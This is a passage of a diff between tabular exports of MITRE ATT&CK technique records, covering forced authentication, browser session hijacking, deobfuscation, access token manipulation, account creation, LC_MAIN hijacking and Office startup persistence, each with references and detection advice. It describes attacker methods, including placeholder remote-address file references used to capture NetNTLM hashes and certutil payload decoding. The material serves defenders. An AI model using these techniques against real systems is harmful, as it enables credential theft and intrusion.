this behavior to gain access to user account h There are several different ways this can occur. (Citation: Osanda Stealing NetNTLM Hashes) Some specifics from in-the-wild use include: * A spearphishing attachment containing a document with a resource that is automatically loaded when the document is opened (i.e. [Template Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to file[:]//[remote address]/Normal.dotm to trigger the SMB request. (Citation: US-CERT APT Energy Oct 2017) -* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1187', external_id='T1187'), ExternalReference(source_name='Wikipedia Server Message Block', description='Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.', url='https://en.wikipedia.org/wiki/Server_Message_Block'), ExternalReference(source_name='Didier Stevens WebDAV Traffic', description='Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.', url='https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/'), ExternalReference(source_name='Microsoft Managing WebDAV Security', description='Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.', url='https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx'), ExternalReference(source_name='GitHub Hashjacking', description='Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.', url='https://github.com/hob0/hashjacking'), ExternalReference(source_name='Cylance Redirect to SMB', description='Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.', url='https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf'), ExternalReference(source_name='Osanda Stealing NetNTLM Hashes', description='Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.', url='https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/'), ExternalReference(source_name='US-CERT APT Energy Oct 2017', description='US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.', url='https://www.us-cert.gov/ncas/alerts/TA17-293A')]",attack-pattern--b77cf5f3-6060-475d-bd60-40ccbf28fdc2,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='credential-access')]",2020-06-19 17:16:41.470000+00:00,Forced Authentication,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Teodor Cimpoesu', 'Sudhanshu Chauhan, @Sudhanshu_C']","['File: File Access', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,,,,"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. +* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as \\[remote address]\pic.png that will force the system to load the resource when the icon is rendered to repeatedly gather credentials. (Citation: US-CERT APT Energy Oct 2017)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'credential-access'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1187', 'external_id': 'T1187'}, {'source_name': 'Wikipedia Server Message Block', 'description': 'Wikipedia. (2017, December 16). Server Message Block. Retrieved December 21, 2017.', 'url': 'https://en.wikipedia.org/wiki/Server_Message_Block'}, {'source_name': 'Didier Stevens WebDAV Traffic', 'description': 'Stevens, D. (2017, November 13). WebDAV Traffic To Malicious Sites. Retrieved December 21, 2017.', 'url': 'https://blog.didierstevens.com/2017/11/13/webdav-traffic-to-malicious-sites/'}, {'source_name': 'Microsoft Managing WebDAV Security', 'description': 'Microsoft. (n.d.). Managing WebDAV Security (IIS 6.0). Retrieved December 21, 2017.', 'url': 'https://www.microsoft.com/technet/prodtechnol/WindowsServer2003/Library/IIS/4beddb35-0cba-424c-8b9b-a5832ad8e208.mspx'}, {'source_name': 'GitHub Hashjacking', 'description': 'Dunning, J. (2016, August 1). Hashjacking. Retrieved December 21, 2017.', 'url': 'https://github.com/hob0/hashjacking'}, {'source_name': 'Cylance Redirect to SMB', 'description': 'Cylance. (2015, April 13). Redirect to SMB. Retrieved December 21, 2017.', 'url': 'https://www.cylance.com/content/dam/cylance/pdfs/white_papers/RedirectToSMB.pdf'}, {'source_name': 'Osanda Stealing NetNTLM Hashes', 'description': 'Osanda Malith Jayathissa. (2017, March 24). Places of Interest in Stealing NetNTLM Hashes. Retrieved January 26, 2018.', 'url': 'https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/'}, {'source_name': 'US-CERT APT Energy Oct 2017', 'description': 'US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.', 'url': 'https://www.us-cert.gov/ncas/alerts/TA17-293A'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Teodor Cimpoesu', 'Sudhanshu Chauhan, @Sudhanshu_C']","['File: File Access', 'File: File Creation', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow']",,"Monitor for SMB traffic on TCP ports 139, 445 and UDP port 137 and WebDAV traffic attempting to exit the network to unknown external systems. If attempts are detected, then investigate endpoint data sources to find the root cause. For internal traffic, monitor the workstation-to-workstation unusual (vs. baseline) SMB traffic. For many networks there should not be any, but it depends on how systems on the network are configured and where resources are located. + +Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)",False,['User'],['Windows'],1.2,,,,,,, +attack-pattern,attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2018-01-16T16:13:52.465Z,2021-10-18T12:11:16.808Z,Browser Session Hijacking,"Adversaries may take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify user-behaviors, and intercept information as part of various browser session hijacking techniques.(Citation: Wikipedia Man in the Browser) + +A specific example is when an adversary injects software into a browser that allows them to inherit cookies, HTTP sessions, and SSL client certificates of a user then use the browser as a way to pivot into an authenticated intranet.(Citation: Cobalt Strike Browser Pivot)(Citation: ICEBRG Chrome Extensions) Executing browser-based behaviors such as pivoting may require specific process permissions, such as SeDebugPrivilege and/or high-integrity/administrator rights. -Monitor creation and modification of .LNK, .SCF, or any other files on systems and within virtual environments that contain resources that point to external network resources as these could be used to gather credentials when the files are rendered. (Citation: US-CERT APT Energy Oct 2017)",,,,,False,,,['User'],['Windows'],,,,1.2 -2018-01-16 16:13:52.465000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser) +Another example involves pivoting browser traffic from the adversary's browser through the user's browser by setting up a proxy which will redirect web traffic. This does not alter the user's traffic in any way, and the proxy connection can be severed as soon as the browser is closed. The adversary assumes the security context of whichever browser process the proxy is injected into. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could potentially browse to any resource on an intranet, such as [Sharepoint](https://attack.mitre.org/techniques/T1213/002) or webmail, that is accessible through the browser and which the browser has sufficient permissions. Browser pivoting may also bypass security provided by 2-factor authentication.(Citation: cobaltstrike manual)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'collection'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1185', 'external_id': 'T1185'}, {'source_name': 'Wikipedia Man in the Browser', 'description': 'Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.', 'url': 'https://en.wikipedia.org/wiki/Man-in-the-browser'}, {'source_name': 'Cobalt Strike Browser Pivot', 'description': 'Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.', 'url': 'https://www.cobaltstrike.com/help-browser-pivoting'}, {'source_name': 'ICEBRG Chrome Extensions', 'description': 'De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.', 'url': 'https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses'}, {'source_name': 'cobaltstrike manual', 'description': 'Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.', 'url': 'https://cobaltstrike.com/downloads/csmanual38.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Justin Warner, ICEBRG']","['Process: Process Modification', 'Process: Process Access', 'Logon Session: Logon Session Creation']",,"This may be a difficult technique to detect because adversary traffic may be masked by normal user traffic. New processes may not be created and no additional software dropped to disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for [Process Injection](https://attack.mitre.org/techniques/T1055) against browser applications.",False,"['Administrator', 'SYSTEM']",['Windows'],2.0,,,,,,, +attack-pattern,attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2020-07-09T14:42:23.122Z,Deobfuscate/Decode Files or Information,"Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. -A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions) +One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) + +Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1140', 'external_id': 'T1140'}, {'source_name': 'Malwarebytes Targeted Attack against Saudi Arabia', 'description': 'Malwarebytes Labs. (2017, March 27). New targeted attack against Saudi Arabia Government. Retrieved July 3, 2017.', 'url': 'https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/'}, {'source_name': 'Carbon Black Obfuscation Sept 2016', 'description': 'Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved February 12, 2018.', 'url': 'https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/'}, {'source_name': 'Volexity PowerDuke November 2016', 'description': 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January 11, 2017.', 'url': 'https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Matthew Demaske, Adaptforward', 'Red Canary']","['Process: Process Creation', 'File: File Modification', 'Script: Script Execution']","['Anti-virus', 'Host intrusion prevention systems', 'Signature-based detection', 'Network intrusion detection system']","Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). -Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1185', external_id='T1185'), ExternalReference(source_name='Wikipedia Man in the Browser', description='Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved January 10, 2018.', url='https://en.wikipedia.org/wiki/Man-in-the-browser'), ExternalReference(source_name='Cobalt Strike Browser Pivot', description='Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.', url='https://www.cobaltstrike.com/help-browser-pivoting'), ExternalReference(source_name='ICEBRG Chrome Extensions', description='De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL BUSINESSES. Retrieved January 17, 2018.', url='https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses'), ExternalReference(source_name='cobaltstrike manual', description='Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.', url='https://cobaltstrike.com/downloads/csmanual38.pdf')]",attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='collection')]",2021-02-09 15:34:09.429000+00:00,Man in the Browser,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Justin Warner, ICEBRG']","['Process: Process Access', 'Logon Session: Logon Session Creation']",,,,,"This is a difficult technique to detect because adversary traffic would be masked by normal user traffic. No new processes are created and no additional software touches disk. Authentication logs can be used to audit logins to specific web applications, but determining malicious logins versus benign logins may be difficult if activity matches typical user behavior. Monitor for process injection against browser applications.",,,,,False,,,"['Administrator', 'SYSTEM']",['Windows'],,,,1.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. +Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior.",False,['User'],"['Windows', 'Linux', 'macOS']",1.1,,,,,,, +attack-pattern,attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2017-12-14T16:46:06.044Z,2021-10-17T14:51:49.334Z,Access Token Manipulation,"Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation) -Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1134', external_id='T1134'), ExternalReference(source_name='capec', url='https://capec.mitre.org/data/definitions/633.html', external_id='CAPEC-633'), ExternalReference(source_name='Pentestlab Token Manipulation', description='netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.', url='https://pentestlab.blog/2017/04/03/token-manipulation/'), ExternalReference(source_name='Microsoft Command-line Logging', description='Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', url='https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'), ExternalReference(source_name='Microsoft LogonUser', description='Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', url='https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx'), ExternalReference(source_name='Microsoft DuplicateTokenEx', description='Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', url='https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx'), ExternalReference(source_name='Microsoft ImpersonateLoggedOnUser', description='Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', url='https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx'), ExternalReference(source_name='BlackHat Atkinson Winchester Token Manipulation', description='Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.', url='https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf')]",attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion'), KillChainPhase(kill_chain_name='mitre-attack', phase_name='privilege-escalation')]",2021-04-24 13:40:52.952000+00:00,Access Token Manipulation,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Tom Ueltschi @c_APT_ure', 'Travis Smith, Tripwire', 'Robby Winchester, @robwinchester3', 'Jared Atkinson, @jaredcatkinson']","['Process: Process Creation', 'Process: Process Metadata', 'Process: OS API Execution', 'User Account: User Account Metadata', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls', 'Heuristic Detection', 'Host forensic analysis']",,,,"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) +Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1134', 'external_id': 'T1134'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/633.html', 'external_id': 'CAPEC-633'}, {'source_name': 'Pentestlab Token Manipulation', 'description': 'netbiosX. (2017, April 3). Token Manipulation. Retrieved April 21, 2017.', 'url': 'https://pentestlab.blog/2017/04/03/token-manipulation/'}, {'source_name': 'Microsoft Command-line Logging', 'description': 'Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.', 'url': 'https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing'}, {'source_name': 'Microsoft LogonUser', 'description': 'Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', 'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx'}, {'source_name': 'Microsoft DuplicateTokenEx', 'description': 'Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', 'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx'}, {'source_name': 'Microsoft ImpersonateLoggedOnUser', 'description': 'Microsoft TechNet. (n.d.). Retrieved April 25, 2017.', 'url': 'https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx'}, {'source_name': 'BlackHat Atkinson Winchester Token Manipulation', 'description': 'Atkinson, J., Winchester, R. (2017, December 7). A Process is No One: Hunting for Token Manipulation. Retrieved December 21, 2017.', 'url': 'https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Tom Ueltschi @c_APT_ure', 'Travis Smith, Tripwire', 'Robby Winchester, @robwinchester3', 'Jared Atkinson, @jaredcatkinson']","['Process: Process Creation', 'Process: Process Metadata', 'Process: OS API Execution', 'User Account: User Account Metadata', 'Active Directory: Active Directory Object Modification', 'Command: Command Execution']","['Windows User Account Control', 'System access controls', 'File system access controls', 'Heuristic Detection', 'Host forensic analysis']","If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging) If an adversary is using a payload that calls the Windows token APIs directly, analysts can detect token manipulation only through careful analysis of user network activity, examination of running processes, and correlation with other endpoint and network behavior. @@ -3034,48 +3258,33 @@ There are many Windows API calls a payload can take advantage of to manipulate a Query systems for process and thread token information and look for inconsistencies such as user owns processes impersonating the local SYSTEM account.(Citation: BlackHat Atkinson Winchester Token Manipulation) -Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.",,,['SYSTEM'],,False,,,"['User', 'Administrator']",['Windows'],,,,2.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system. - -Accounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1136', external_id='T1136'), ExternalReference(source_name='Microsoft User Creation Event', description='Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.', url='https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720')]",attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2021-03-16 12:47:00.458000+00:00,Create Account,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Microsoft Threat Intelligence Center (MSTIC)', 'Praetorian']","['User Account: User Account Creation', 'Process: Process Creation', 'Command: Command Execution']",,,,,"Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary. - -Collect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.",,,,,False,,,['Administrator'],"['Windows', 'Azure AD', 'Office 365', 'IaaS', 'Linux', 'macOS', 'Google Workspace']",,,,2.2 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"**This technique has been deprecated and should no longer be used.** - -As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1149', external_id='T1149'), ExternalReference(source_name='Prolific OSX Malware History', description='Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.', url='https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf'), ExternalReference(source_name='Methods of Mac Malware Persistence', description='Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.', url='https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf')]",attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='defense-evasion')]",2020-03-30 13:53:57.518000+00:00,LC_MAIN Hijacking,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,,"['Application whitelisting', 'Process whitelisting', 'Whitelisting by file name or path']",True,,,"Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.",,,,,False,,,"['User', 'Administrator']",['macOS'],,,,2.0 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may leverage Microsoft Office-based applications for persistence between startups. Microsoft Office is a fairly common application suite on Windows-based operating systems within an enterprise network. There are multiple mechanisms that can be used with Office for persistence when an Office-based application is started; this can include the use of Office Template Macros and add-ins. - -A variety of features have been discovered in Outlook that can be abused to obtain persistence, such as Outlook rules, forms, and Home Page.(Citation: SensePost Ruler GitHub) These persistence mechanisms can work within Outlook or be used through Office 365.(Citation: TechNet O365 Outlook Rules)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1137', external_id='T1137'), ExternalReference(source_name='SensePost Ruler GitHub', description='SensePost. (2016, August 18). Ruler: A tool to abuse Exchange services. Retrieved February 4, 2019.', url='https://github.com/sensepost/ruler'), ExternalReference(source_name='TechNet O365 Outlook Rules', description='Koeller, B.. (2018, February 21). Defending Against Rules and Forms Injection. Retrieved November 5, 2019.', url='https://blogs.technet.microsoft.com/office365security/defending-against-rules-and-forms-injection/'), ExternalReference(source_name='CrowdStrike Outlook Forms', description='Parisi, T., et al. (2017, July). Using Outlook Forms for Lateral Movement and Persistence. Retrieved February 5, 2019.', url='https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746'), ExternalReference(source_name='Outlook Today Home Page', description='Soutcast. (2018, September 14). Outlook Today Homepage Persistence. Retrieved February 5, 2019.', url='https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943'), ExternalReference(source_name='Microsoft Detect Outlook Forms', description='Fox, C., Vangel, D. (2018, April 22). Detect and Remediate Outlook Rules and Custom Forms Injections Attacks in Office 365. Retrieved February 4, 2019.', url='https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack'), ExternalReference(source_name='SensePost NotRuler', description='SensePost. (2017, September 21). NotRuler - The opposite of Ruler, provides blue teams with the ability to detect Ruler usage against Exchange. Retrieved February 4, 2019.', url='https://github.com/sensepost/notruler')]",attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='persistence')]",2020-06-25 17:48:09.417000+00:00,Office Application Startup,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Nick Carr, FireEye', 'Microsoft Threat Intelligence Center (MSTIC)', 'Sahar Shukrun', 'Praetorian', 'Loic Jaquemet', 'Ricardo Dias']","['Process: Process Creation', 'Command: Command Execution', 'Windows Registry: Windows Registry Key Creation', 'Windows Registry: Windows Registry Key Modification', 'File: File Creation', 'File: File Modification', 'Module: Module Load', 'Application Log: Application Log Content']",,,,,"Collect process execution information including process IDs (PID) and parent process IDs (PPID) and look for abnormal chains of activity resulting from Office processes. Non-standard process execution trees may also indicate suspicious or malicious behavior. If winword.exe is the parent process for suspicious processes and activity relating to other adversarial techniques, then it could indicate that the application was used maliciously. - -Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence.(Citation: CrowdStrike Outlook Forms)(Citation: Outlook Today Home Page) - -Microsoft has released a PowerShell script to safely gather mail forwarding rules and custom forms in your mail environment as well as steps to interpret the output.(Citation: Microsoft Detect Outlook Forms) SensePost, whose tool [Ruler](https://attack.mitre.org/software/S0358) can be used to carry out malicious rules, forms, and Home Page attacks, has released a tool to detect Ruler usage.(Citation: SensePost NotRuler)",,,,,False,,,"['User', 'Administrator']","['Windows', 'Office 365']",,,,1.2 -2017-12-14 16:46:06.044000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system. +Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for 